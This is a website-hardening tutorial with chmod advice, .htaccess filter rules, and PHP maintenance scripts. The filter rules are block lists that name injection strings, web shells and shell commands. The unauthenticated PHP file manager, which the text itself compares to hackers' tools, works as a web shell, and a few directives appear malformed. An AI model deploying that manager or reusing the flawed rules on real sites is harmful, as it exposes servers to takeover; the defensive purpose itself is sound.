Secure and protect your website from hackers attacks
Learn how they do it so you don't get scared and know the parry.
![Password. Crédit photo: PN_Photo](images/password-pn_photo@1x.jpg)
Table of Contents
Introduction
How can you prevent your website from being used by a hacker as a platform for phishing or spamming? How to avoid defacing, i.e., deleting your website and replacing it with another one, or a page with an anti-western slogan? How to avoid specific security holes?
In principle, your provider's mutualized servers should be relatively secure and have tools to block some suspicious behaviours. Hosting providers are professionals who master their equipment. They offer a space that you must control, they do not do it for you. Indeed, they only take care of their part (the management of the hardware and their servers), and you are responsible for the data you put there (website, e-mail, files…). Consequently, the host suspends your website after an attack, leaving you to fix the problem on your own. As long as you do not intervene, this after-the-fact action blocks your account and your website remains inaccessible. It is therefore preferable to prevent the hacker from harming you.
Here are some very practical and very effective tips. It is the collection of these tips and tricks that will secure your site because there is no single solution; hackers use many different means to force an account.
Who are the hackers? The first ones are “skiddy”, young people (“kid” in English, “kiddy” for the little one) who use ready-to-use scripts (the “s” of skiddy) that are easily found on the web to exploit the flaws of a CMS, blog, e-commerce, etc. They just use these scripts as you would use a software. They are not “small geniuses”, they don't code and they don't invent anything. They challenge whoever will delete or violate the most websites. The others, much more dangerous, are hackers at the service of a mafia in order to take control of your website via a flaw in your CMS, blog or e-commerce to convert it into a platform for sending spam or phishing, or as a robot to violate other computers. These people create their own scripts that they do not share with a community. They do this for money; the mafia pays them according to the number of websites hacked, login and password collected, means of payment intercepted, personal computers they have taken control of without the knowledge of the unfortunate owner (i.e., your PC at home) and taking advantage of your Internet connection by coding a malware for example.
Why are they attacking your site? Neither the skiddy nor the mobster is targeting you personally. Some do it for fun, some do it for money. It is unlikely you would be personally targeted. Some skiddies erase sites and hide behind pseudo-political and anti-western slogans to scare you, to make them feel important and taken seriously. This is not the case.
How do they know my site has a security flaw? Answer: Google or any other search engine! They look for a specific file like login.php, confip.php or others, and, combined with a few keywords, know which CMS, blog or e-commerce you are using. They will then try to run a script to test if the attack works. They don't even do this manually because they have software that does it automatically!!! Their software tests every URL listed by Google looking for the flaw. It is as simple as that. They find you by chance.
So we are going to try to guard against these automatic attacks. These tips only concern websites using a CMS, blog or e-commerce, etc. coded by computer experts or by you.
TIP NUMBER ONE: your CMS, blog or e-commerce must be up to date. You will follow the security updates and install them without delay.
TIP NUMBER 2: THE MOST IMPORTANT RULES
As this tutorial is lengthy, here are the rules that should be applied in priority. You can include the others later.
1- Assign chmod 404 permission to files and chmod 505 permission to folders via FTP. See the article below. This is, without a doubt, the most effective and essential rule.
2- The dashboard or the administration interface of your blog, CMS or e-commerce is protected by a login and a complex password. However, its resistance to attack depends on the technical choices (and flaws) of the developer. Against this, add a second protection by .htaccess password. If a hacker manages to bypass the first security, he will come up against a second wall. This double defence is an armour against automatic attacks.
3- htaccess filtering rules. They allow you to stop many attacks before hitting your website. See the article here. Their effectiveness will be excellent but they are based on hacker behaviours and techniques that evolve over the years. These protections will never be absolute.
If you can combine the first three rules, or at least only the first two, you will build a real fortress!
4- Rules for backing up and restoring your website. First, check which files the hacker has added or modified by installing this script. Second, are you able to completely erase your website to remove all hacker traces and reactivate everything within 30 minutes? Here's how. Read the article here.
Write, read and execute permissions.
-= ESSENTIAL =-
Read more here: Description of the CHMOD and the meaning of the numbers.
Be careful, these rules may work for some hosts and not for others. Give it a try, it is really worth it.
We are used to saying that we have to assign by FTP the permission 644 to a file and 755 to a folder.
In fact, some hosts (but not all) don't seem to use group. So we could very well use 604 permission for a file and 705 permission for a folder. If an attacker enters the system with a group permission, he will not have access to anything, neither read nor write.
We can go further. Let's protect sensitive parts of your CMS, blog or e-commerce, such as the config.php and .htaccess file by giving it 404 (or 444) permission. No one will be able to modify it, not even you (this is absolutely wrong if your site has a big security hole, but it is unstoppable against an automatic attack). You will only be able to do it by FTP when you really need to modify it.
This is how I protect my site:
All files have 404 (or 444) permission.
All folders have 505 (or 555) permission.
If a file or folder requires writing permission by the server, set 604 for the file and 705 for the folder. No need to do the famous 777 (all rights to everyone) which is a public danger, a provocation to hacking because you announce that your house is wide open, without doors or windows, anyone can help himself.
The config and htaccess files have 404 (or 444) permission.
The folder “www” or “public_html” must be in chmod 705 or 755 depending on your host, never change it.
Advantage: nobody can modify your files. Disadvantage: you have to change the write permission (644 and 755) if you update your CMS, blog or e-commerce and give the proper permission 404 (or 444) and 505 (or 555) afterwards. It takes 10 minutes, but it is worth it. If your web host doesn't allow you to do this, move to another one.
Why is this so important? The hacker is trying to install a file on your site in order to take control of it (to delete the site, to put files for phishing or a script that sends spam, etc.). He is looking for security holes so that he can save his takeover file on your server. If your website has a security hole, the hacker will exploit it, but since your website only has folders and files that are write-prohibited, he won't be able to save anything. His attack will not work. If there was only one rule to apply it would be this one, without a doubt the most effective and essential one.
The easiest way is to use your FTP software, display the information about a file or folder and your software will provide the option to change permission. Another effective method, if you have many files, is to connect using SSH (see its description below). Otherwise, here is a small PHP script that will allow you to perform this operation very simply. You save this file in your web hosting, open it from your browser, enter the path to the folder you want to process, and choose the CHMOD settings for all files and folders included in this directory. A detailed report will give you the results. Once the operation is completed, delete this file to prevent unintended use.
You can get this PHP file here: chmod-en.zip (2.1 KB)
Code PHP:<?php /* CHMOD permission MODIFICATION FORM FOR FILES AND FOLDERS Save this file in your web hosting directory, open it with your browser and follow the instructions. An error report is provided. Delete the file after use. */ /* variable initialization */ $dosPerm = "0"; $ficPerm = "0"; $retval = "0"; /* CHMOD error count */ /* Path to the file to be processed */ $chem = preg_replace('~[^_A-Za-z0-9-\.%\/]~i','', $_POST["chemin"]); /* absolute file path (with cleanup against hacking) */ $chem = preg_replace('/\.\.\//','', $chem); /* you forbid the command ../ */ define('ABSPATH', dirname(__FILE__)); $chem = ABSPATH.$chem; /* absolute file path of your account such as /home/loginftp/www/ or /home/loginftp/public_html/ etc. */ /* Folder permission */ $d1 = filter_var($_POST["dir1"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[57]$/'))); $d2 = filter_var($_POST["dir2"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[057]$/'))); $d3 = filter_var($_POST["dir3"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[057]$/'))); $dosPerm = "0".$d1.$d2.$d3; $dosPerm = intval($dosPerm,8); /* File permission */ $f1 = filter_var($_POST["fic1"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[46]$/i'))); $f2 = filter_var($_POST["fic2"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[046]$/i'))); $f3 = filter_var($_POST["fic3"], FILTER_VALIDATE_REGEXP, array('options' => array('regexp' => '/^[046]$/i'))); $ficPerm = "0".$f1.$f2.$f3; $ficPerm = intval($ficPerm, 8); /* Html form to change permission */ print "<html><meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />"; print "<body><h3>Changing CHMOD access permission to folders and files <br />in your hosting.</h3>"; print "<table><tr><td>"; print "<form method=\"post\">"; print "<tr><td>Folder permission: </td>"; print "<td><select name=\"dir1\"><option value=\"5\">5</option><option value=\"7\" selected>7</option></select><select name=\"dir2\"><option value=\"0\">0</option><option value=\"5\" selected>5</option><option value=\"7\">7</option></select><select name=\"dir3\"><option value=\"0\">0</option><option value=\"5\" selected>5</option><option value=\"7\">7</option></select></td></tr>"; print "<tr><td>File permission: </td>"; print "<td><select name=\"fic1\"><option value=\"4\">4</option><option value=\"6\" selected>6</option></select><select name=\"fic2\"><option value=\"0\">0</option><option value=\"4\" selected>4</option><option value=\"6\">6</option></select><select name=\"fic3\"><option value=\"0\">0</option><option value=\"4\" selected>4</option><option value=\"6\">6</option></select></td></tr>"; print "<tr><td>Directory to control: </td>"; print "<td>".ABSPATH." <input type=\"text\" name=\"chemin\" maxlength=\"80\" size=\"30\" value=\"/\" ></td></tr>"; print "<tr><td> </td><td><strong style=\"color:red\">CAUTION: MODIFICATIONS INCLUDE CHILDREN'S FOLDERS AND THEIR FILES.</strong></td></tr>"; print "<tr><td> </td><td><input type=\"submit\" value=\" Change CHMODs of Folders and Files \">"; print "</form>"; print "</td></tr></table>"; if ( ($dosPerm||$ficPerm) > 0 ){ function rChmod($chem,$dosPerm,$ficPerm) { echo "<p><b>Log:</b></p>\r\n"; $d = new RecursiveDirectoryIterator($chem, FilesystemIterator::SKIP_DOTS); foreach (new RecursiveIteratorIterator($d, 1) as $path) { $chmodret = false; $chmodresultat = ""; if ( $path->isDir() ) { $chmodret = chmod( $path, $dosPerm ); } else { if ( is_file( $path ) ) { $chmodret = chmod( $path, $ficPerm ); } } if ($chmodret) {$chmodresultat = "OK"; } else { $chmodresultat = "ERROR"; ++$retval; } echo $chmodresultat . " " . $path . "<br />\r\n"; } return $retval; } $nbfailed = rChmod($chem,$dosPerm,$ficPerm); echo "<p><b>"; if ($nbfailed > 0) { echo $nbfailed . " error(s) CHMOD. See the log above."; } else echo "No apparent error. Check for yourself.</b> Delete the file after use.</p>\r\n"; } print "</body></html>"; ?>
It is possible to speed up the change of permission with SSH by automating this action. Your webhost must give you access to an SSH connection.
With a script that does pseudo-ssh in PHP, put the file in the “www” or “public_html” folder and start working.
Changing all permissions via FTP of all files and folders can be time consuming and tedious with the risk of forgetting some of them. I use the command lines below to quickly change permission via SSH.
Login to your account using SSH, then go to the “www” (or “public_html”) folder by entering the cd command www , and enter the following commands in a single line (after modifying the names of files and folders as needed):
In SSH mode, put yourself in the “www” or “public_html” directory before starting.
Copy one line, press the Enter key, and copy another line, press the Enter key, etc. after changing the names of the files and folders as needed.
All files have 404 or 444 permission (read permission, no write permission):
Code:find . -type f -print0 | xargs -0 chmod 404
All folders have the permissions 505 or 555 (read permission, no write permission).):
Code:find . -type d -print0 | xargs -0 chmod 505
All files with the name “.htaccess” have 404 or 444 permission (read permission, no write permission, etc.).):
Code:find . -type f -name .htaccess -print0 | xargs -0 chmod 404
All files containing the name “config*.php” (use of the wildcard character *) in the “blog” folder have 404 rights (read permission, no write permission):
Code:find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404
All php files (“*.php” using the wildcard character *) have permissions 404 or 444 (right to read, no right to write):
Code:find . -type f -name "*.php" -print0 | xargs -0 chmod 404
All folders with the name “folder_to_lock” have the permission 505 or 555 (read permission, no write permission, etc.):
Code:find . -type d -name folder_to_lock -print0 | xargs -0 chmod 505
All folders that contain the word upload, such as “123-upload” or “uploadthing” (“*upload*” using the wildcard character *) that are located in the folder “forum” have permission 705 ( read and write permission for you and the server):
Code:find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705
An article on the meaning of CHMOD and the meaning of numbers.
The .htaccess file
I present 9 tips to secure your website. They are very effective and stop many hacking attempts before your CMS, blog or e-commerce takes action. So, to some extent, if your software has a flaw, maybe these rules will prevent it from being exploited. Don't install these rules all at once, follow the installation and testing guidelines after Tip #9. Apply at least rules 3, 4, 5 and 6 which are very effective, they will protect you from 90% of automatic attacks with little risk of blocking your website.
Create the .htaccess file with a plain text program (anything but Word). Call it “txt.htaccess”, send it by FTP to your www folder and rename it to “.htaccess”. If the file already exists, add the rules described below after the text. Then FTP it with the permission 404 or 444. It will not be editable.
Here is a series of commands to secure your website.
1- Prohibit access to this file from a web browser:
Code:<Files .htaccess> order allow,deny deny from all </Files>
2- Prohibit listing the contents of a folder:
Code:Options -Indexes
3- We are blocking a whole series of potential vulnerabilities. Most hackers use these means to test the weakness of your site. Here, we block them before they penetrate your CMS, blog or e-commerce. -= HIGHLY EFFECTIVE AND ESSENTIAL =-
Code:### FILTER AGAINST XSS, HTTP REDIRECT, base64_encode, PHP GLOBALS VARIABLE VIA URL, CHANGE VARIABLE _REQUEST VIA URL, TEST PHP WEAKNESS, SIMPLE INJECTION SQL RewriteEngine On RewriteCond %{REQUEST_METHOD} (GET|POST) [NC] RewriteCond %{QUERY_STRING} ^(.*)(%3C|<)/?(no)?script(.*)$ [NC,OR] RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)?javascript(%3A|:)(.*)$ [NC,OR] RewriteCond %{QUERY_STRING} ^(.*)document\.location\.href(.*)$ [OR] RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR] RewriteCond %{QUERY_STRING} ^.*(127\.0).* [NC,OR] ## WATCH OUT FOR THIS RULE. IT CAN BREAK SOME REDIRECTIONS THAT LOOK LIKE À: http://www.thing.com/index.php?r=http://www.bit.com RewriteCond %{QUERY_STRING} ^(.*)(%3D|=|%2B|\+)(%27|'|%22|\")?(https?|ftp|mosConfig)(%3A|:)(%2F%2F|//)(.*)$ [NC,OR] RewriteCond %{QUERY_STRING} ^.*(_encode|localhost|loopback).* [NC,OR] RewriteCond %{QUERY_STRING} ^author=[1-9] [NC,OR] ## recherche page auteur Wordpress pour deviner le login RewriteCond %{QUERY_STRING} ^(.*)(GLOBALS|_REQUEST|DOCUMENT_ROOT|_SERVER|_POST)(=|\[|%[0-9A-Z]{0,2})(.*)$ [OR] RewriteCond %{QUERY_STRING} ^(.*)(SELECT(%20|\+)|UNION(%20|\+)ALL|INSERT(%20|\+)|DELETE(%20|\+)|CHAR\(|UPDATE(%20|\+)|REPLACE(%20|\+)|LIMIT(%20|\+)|CONCAT(%20|\+)|DECLARE(%20|\+))(.*)$ [NC] RewriteRule (.*) - [F]
4- We are blocking some weird requests: -= HIGHLY EFFECTIVE AND ESSENTIAL =-
Code:### FAKE URLS OR OLD OBSOLETE SYSTEMS OR DEFAULT URLS TO AVOID, WE NEUTRALIZE THEM. RewriteRule "(base64|boot\.ini|eval\(|\(null\)|^[-_a-z0-9/\.]*//.*|etc(%2F|/)passwd|(%3D|=)\.\./\.\./|^_vti.*|^MSOffice.*|fckeditor/|elfinder/|^simpla/|zoho/|jquery-file-upload/server/|/assetmanager/|wwwroot|e107\_|^netcat/|^indy/|^etm/|^static/|^downloader/|trackback|^pma/|phpmyadmin/|^(my?)sql\.|^dump\.|^db\.|^database\.|^backups?\.|^httpdoc\.|^public_html\.|^old[-_]\.|^pack\.|^iismap\.)" - [NC,F] ### DISABLE QUERY METHODS DELETE, PUT, PATCH OF WEBDAV RewriteCond %{REQUEST_METHOD} ^(DELETE|PUT|PATCH) [NC,F]
5- Some files are only allowed to be displayed, others are not. The index.php file is the default file. If we display index.htm, it doesn't work. The purpose is to prohibit the pirate to display on his browser a file or a file format that is not authorized. -= VERY VERY VERY EFFECTIVE BUT TO BE TESTED AND ADAPTED TO YOUR INSTALLATION =-
Caution: these prohibitions must be tested and adapted if necessary.
### ONLY THE index.php FILE IS SERVICED AS THE FIRST FILE BY DEFAULT. THE OTHERS ARE FORBIDDEN DirectoryIndex index.php RewriteEngine On ### PROHIBIT OTHER INDEX FILE TYPES RewriteRule "^(index)\.(p?s?x?htm?|txt|aspx?|cfml?|cgi|pl|php[3-9]|jsp|xml)$" - [NC,F] ### DISALLOW THE DISPLAY OF CERTAIN FILE FORMATS EXECUTED BY THE SERVER ### BUT NOT ALLOWED TO BE DISPLAYED BY THE WEB BROWSER RewriteRule "(\.(aspx?|backup|bak|bash|bat|bin|bkp|c|cfg|class|cmd|com|conf|config|cvs|cxz|dat|db|dist|dll|dos|env|exe|fla|git|h|hg|inc|ini|jsp|key|lnk|log|mdb|module|mso|old|pass|pdb|pl|pol|printer|psd|pwd|py|rar|resources|sh|spd|sql|svn|sw[op]|sys|theme|tpl|webinfo)|~)$" - [NC,F] ### PROHIBIT ACCESS TO CERTAIN FOLDERS BY THE WEB BROWSER ### BUT AUTHORIZED AND EXECUTED BY THE SERVER ### TO BE ADAPTED IF THIS IS A PROBLEM RewriteRule "(\.svn|\.git|\.hg|\.bzr|\.env|\.cvs|\.ssh|install?|users?|modules|node|core|config(ure|uration)?|options?|settings?|functions?|setup|[-_a-z0-9.]*cms[-_a-z0-9.]*|[-_a-z0-9.]*php[-_a-z0-9.]*|null|^root|^logs?)/.*" - [NC,F] ### PROHIBIT THE DISPLAY OF CERTAIN FILES SUCH AS readme, changelog, default, xmlrpc. ### THESE FILES GIVE VALUABLE INFORMATION ABOUT THE INSTALLED CONFIGURATION (SERVER NAME AND VERSION NUMBER). ### TO BE ADAPTED IF THIS IS A PROBLEM RewriteRule "(readme|changelog|license|default|home|xmlrpc|local|errors?|debug|hacke?r?d?|php|shell|ssh|roots?|cmd|null|test|data)\.(p?s?x?htm?l?|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml)$" - [NC,F] ### PROTECTION OF UNSECURED AND UNAUTHORIZED SFTP SYNCHRONIZATION ACCESS FROM A WEB BROWSER RewriteRule "\.?(s?ftp|remote|deployment|ws_ftp|winscp|filezilla|webservers)-?(config|sync)?\.(json|settings?|ini|xml)$" - [NC,F] RewriteRule "(\.ssh/)?(id_[rdec1259]+sa)$" - [NC,F] ### IF YOU DON'T USE CMS, YOU CAN ADD THE CODE BELOW, ### OR GET SOME IDEAS ON HOW TO LOCK YOUR CMS EVEN BETTER. RewriteRule "(install?|users?|upload(er)?|regist(er|ration)|config(\.inc|ure|uration)?|options?(\.inc)?|settings?(\.inc)?|functions?(\.inc)?|setup(\.inc)?)\.(p?s?x?htm?l?|css|txt|md|log|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?)$" - [NC,F] ### FORBID ACCESS TO THE INTERFACES OF WORDPRESS ADMINISTRATION OR OTHER CMS ### WITH A CLASSIC DEFAULT ACCESS THAT CAN EASILY BE GUESSED LIKE login or wp-login, admin, manager, etc. ### OR GET SOME IDEAS ON HOW TO LOCK YOUR CMS EVEN BETTER. RewriteRule "(wp-?|wordpress|login|(my)?admin(istrator)?(zone)?|blog/|^modules|^manager)" - [NC,F]
6- Prevent the execution of any PHP, Perl, CGI script in a directory. The option below allows you for example to protect an upload folder or any very sensitive folder that you want to make more secure. Do not use this option in the .htaccess file with all the codes described above. Instead, I invite you to create an .htaccess file and put it in the folder you want to protect. This option prevents a web browser from executing the script directly. But if the browser opens the index.php file that makes an include() to a php file in the folder protected by the code below, everything will run fine. This protects the direct execution of the file by a browser when the cracker tries to enter unfiltered malicious code. -= HIGHLY EFFECTIVE AND ESSENTIAL =-
Code:### No script in the directory and its subdirectories, whether PHP, PERL or other CGI, will be able to run if ExecCGI is inactive. And it is forbidden to display the list of files. OPTIONS -ExecCGI -Indexes
7- Exclude suspicious software used by hackers and some web site suckers. Apply this rule without too much risk, as it blocks some automatic attacks. This list is the minimum. You can add other if you find any. However, it is not as effective as it used to be because now all hacker robots use fake identities. We block the dumbest ones here.
Code:### FILTER AGAINST SOME OF THE HACKERS' ROBOTS RewriteEngine On ## EXCEPTION: ALL ROBOTS, EVEN ANONYMOUS OR BANNED ONES, CAN ACCESS THESE FILES. RewriteCond %{REQUEST_URI} !^robots.txt RewriteCond %{REQUEST_URI} !^sitemap.xml ## ANONYMES RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## LIBRARIES / HTTP CLASSES WE DON'T WANT. BE CAREFUL, THIS CAN BLOCK SOME FUNCTIONS OF YOUR CMS. DO NOT DELETE EVERYTHING, BUT LOOK FOR THE NAME OF THE HTTP CLASS CONCERNED (ASK THE DEVELOPERS OF YOUR CMS). THIS LIST BLOCKS 80% OF SPAMBOTS. YOU MUST KEEP IT. RewriteCond %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT::WWW|^HTTP::Lite|httplib|^Java|^LeechFTP|lwp-trivial|^LWP|libWeb|libwww|^PEAR|PECL::HTTP|PHPCrawl|PycURL|^ReGet|Rsync|Snoopy|URI::Fetch|urllib|WebDAV|^Wget|^AnyConnect|Nmap\ Scripting [NC] ## THOSE WHO INVENT NAMES AT RANDOM, REMOVE THE 2 HASH KEYS AT THE BEGINNING OF THE LINE TO ACTIVATE IT. ## RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{10,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] RewriteRule (.*) [F]
8- No hotlinking. Replace mydomain by your domain name, and \.fr by fr, com, net, org or other extensions, keeping the \ before the dot.
Code:### AVOID THE THEFT OF IMAGES, VIDEO, SOUND, STYLE SHEET, PDF AND ZIP ### VISITORS MUST PASS THROUGH THE SITE. RewriteEngine on RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^https?://[-a-z0-9.]*mydomain\.fr$ [NC] RewriteCond %{HTTP_REFERER} !^https?://[-a-z0-9.]*mydomain\.fr/.*$ [NC] ## THESE DOMAINS MAY DISPLAY THE SITE ITEMS RewriteCond %{HTTP_REFERER} !^https?://.*(translate|paypal|google|bing|yahoo|yandex|baidu|facebook|qwant|duck|ixquick|pinterest|twitter).*$ [NC] ## CONNECTIONS THROUGH MOBILE APPS CAN DISPLAY THE ELEMENTS OF THE SITE RewriteCond %{HTTP_REFERER} !^mobile?://.*$ [NC] RewriteRule .*\.(gif|jpe?g?|jp2|png|svgz?|css|pdf|zip|gz|js|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb|eot|ttf|woff|woff2)$ [NC,F]
9- If hackers have managed to penetrate your site, they install a script that allows them to take control of your hosting. Here, most of the commands of these scripts are blocked. To be tested with your website because it is very powerful and efficient. On the 5th line, replace “/home/loginftp/” by your absolute file path before the “www” or “public_html” folder. This rule is very effective but can break your CMS, blog or e-commerce. Use it last, then test it intensely, and eventually delete the rule that causes the problem.
Code:### FILTER AGAINST PHPSHELL.PHP, REMOTEVIEW, C99SHELL AND OTHERS AUTRES RewriteEngine On RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR] RewriteCond %{REQUEST_METHOD} (GET|POST) [NC] RewriteCond %{QUERY_STRING} ^(.*)=/home/loginftp/(.*)$ [OR] RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR] RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR] RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR] ## WATCH OUT FOR THIS RULE. IT CAN BREAK YOUR SITE RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR] RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR] RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR] RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|concat|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR] RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$ RewriteRule (.*) [F]
Don't set these rules all at once.
Copy one, then test your CMS, blog or e-commerce by adding, modifying a page, add or delete a user, access your administration interface and do several things. If everything is OK, put another rule. In case of a problem, look at the URL called. There may be a keyword that is blocked by the .htaccess file. You will have to delete this keyword from the .htaccess file. You understood it, this system filters the URL and looks if it is in accordance with a normal use. So, if you get an error message, find the keyword that blocks the request.
You have to adapt these rules to your case, it is not a simple copy and paste.
Later, when using your CMS, blog or e-commerce, you see a 403 error, then it is likely that a filtering rule is active.
Finally, your CMS, blog or e-commerce often uses the .htaccess file to include more readable URL rewriting rules. Set the hacker filters first and the URL rewriting rules at the end. This is because the filters apply from the first to the last. Placing the anti-hacker filters after the URL rewriting rules of your CMS, blog or e-commerce would not bring any benefit (this is not 100% true, but there are reasons).
Have the list of modified and added files
Here is a small php script that allows you to have a list of the last files created AND modified.
If you have been hacked, you will find out which files have been added and which ones have been modified by the hacker with the date and time. So, by comparing the date of these modified files to the logs, you will know if the editing is normal or not and you will know when and how the hacker hit.
It is also used to understand the behaviour of a script or a CMS, blog, wiki and see which files have been manipulated by this software.
Copy the code below and create a text file that you can call for example: list-modif.php
Put this script in your hosting in the folder “www” or “public_html”, open it with your web browser, enter the number of days representing the period to be checked, then the name of the folder to be scanned. The file path must end with / as for example “/forum/” which will correspond to “/home/yourloginftp/www/forum/”.
If you want to check the entire contents of the “www” or “public_html” folder, just click on the “Check Files” button.
Be careful, if you have a lot of files and directories, the listing may take too much time to complete and the script may stop after 30 seconds of execution. If this is the case, try to search directory by directory.
This script will only list folders from the path “/home/yourloginftp/www/” or “/home/yourloginftp/public_html/” of your hosting. Once the operation is completed, delete this file to avoid any unintended use.
You can get this PHP file here: modif-en.zip (2.1 KB)
Code PHP:<?php /* Lists the last files created AND modified. Very useful in case of hacking to know which files are added and which have been modified. Useful to understand the behaviour of a script or CMS and see which files have been manipulated. Save this script in your hosting, open it with your web browser, give the number of days representing the period to be checked, then the name of the folder to be scanned. This script will only list folders from the path /home/yourloginftp/www/ of your hosting. Delete the file after use. Credits: 4/5 of the code is the work of Linda MacPhee-Cobb (http://timestocome.com) */ $go_back = 0; /* display result or not */ $i = 0; /* loop counter */ $dir_count = 0; /* loop initialisation */ $date = time(); /* current date and time */ $one_day = 86400; /* number of seconds for a day */ $days = preg_replace('~[^0-9]~i','', $_POST["jours"]); /* number of days to check */ $path = preg_replace('~[^_A-Za-z0-9-\.%\/]~i','', $_POST["chemin"]); /* absolute file path (with cleanup against hacking) */ $path = preg_replace("/\.\.\//",'', $path); /* you forbid the command ../ */ define('ABSPATH', dirname(__FILE__)); $path = ABSPATH.$path; /* absolute file path of your account such as /home/loginftp/www/ or /home/loginftp/public_html/ etc. */ $directories_to_read[$dir_count] = $path; /* Form to go back in time */ print "<html><body><h3>Checking the last modified files <br /> in your hosting.</h3>"; print "<table><tr><td>"; print "<form method=\"post\">"; print "<tr><td>Number of days to check 1-99: </td>"; print "<td> <input type=\"text\" name=\"jours\" maxlength=\"2\" size=\"2\"></td></tr>"; print "<tr><td>Name of the directory to check: </td>"; print "<td>".ABSPATH." <input type=\"text\" name=\"chemin\" maxlength=\"80\" size=\"30\" value=\"/\" > (put a / at the end)</td></tr>"; print "<tr><td> </td><td><input type=\"submit\" value=\" Check Files \">"; print "</form>"; print "</td></tr></table>"; /* Result display */ $go_back = $one_day * $days; print "<br /> Back to the <strong>" . ($go_back/$one_day) ."</strong> last days. <br /><br />"; if ( $go_back > 0 ){ print "<table><tr><th>File Name</th><th>Modification Date</th></tr>"; $diff = $date - $go_back; while ( $i <= $dir_count ){ $current_directory = $directories_to_read[$i]; /* get file information */ $read_path = opendir( $directories_to_read[$i] ); while ( $file_name = readdir( $read_path)){ if (( $file_name != '.' )&&( $file_name != '..' )){ if ( is_dir( $current_directory . "/" . $file_name ) ){ /* need to get all the files in a directory */ $d_file_name = "$current_directory" . "$file_name"; $dir_count++; $directories_to_read[$dir_count] = $d_file_name . "/"; }else{ $file_name = "$current_directory" . "$file_name"; /* If modified times more recent than x days, display, otherwise, pass */ if ( (@filemtime( $file_name)) > $diff ){ print "<tr><td> $file_name </td>"; $date_changed = filemtime( $file_name ); $pretty_date = date("d/m/Y H:i:s", $date_changed); print "<td> ::: $pretty_date</td></tr>" ; } } } } @closedir ( $read_path ); $i++; } print "</table>"; print "<br />Delete the file after use.</body></html>"; } /* if go_back > 0 ) */ ?>
File manager to control your web space
This file manager written in PHP allows you to manipulate the content of a web space, as you would do by FTP. You can create, read, delete, compress, decompress, change rights, rename files and folders. Its interface is simplistic but efficient.
It is with this kind of script that the hacker modifies your site when he succeeds in exploiting a security flaw by sending his file to your hosting.
Copy the code below and create a text file that you can call for example gesfic.php
Put this script in your hosting in the folder “www” or “public_html” or elsewhere, and open it with your web browser.
The manager gives read and write access to all the space of your hosting. Once the operation is completed, delete this file to avoid any unintended use.
You can get this PHP file here: gesfic-en.zip (4.3 KB)
Code PHP:<?php /* ############################# */ /* File Manager */ /* TO BE DELETED AFTER USE */ /* ############################# */ /* Add, modify files and folders in a directory */ /* ############################# */ set_time_limit(0); error_reporting(0); echo '<!DOCTYPE HTML> <html> <head> <style> body {font-family: monospace;background-color: #ffffff;} .petit {font-size:.8em;} #content tr:hover {background-color: #008580;text-shadow:0px 0px 10px #ffffff;} #content .first {background-color: #008580;} #content .first:hover {background-color: #008580;text-shadow:0px 0px 1px #ffffff;} table {border: 1px #008580 dotted;} a {color: mediumblue;text-decoration: none;} a:hover {color: #fff;text-shadow:0px 0px 10px #ffffff;} input,select,textarea {border: 1px #000000 solid;border-radius:5px;} .milieu {display: block;margin:0 auto;} .centre {text-align:center;} </style> </head> <body> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr><td>File path >> '; if (isset($_GET['path'])) { $path = $_GET['path']; } else { $path = getcwd(); } $path = str_replace('\\', '/', $path); $paths = explode('/', $path); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo '<a href="?path=/">/</a>'; continue; } if ($pat == '') continue; echo '<a href="?path='; for ($i = 0;$i <= $id;$i++) { echo "$paths[$i]"; if 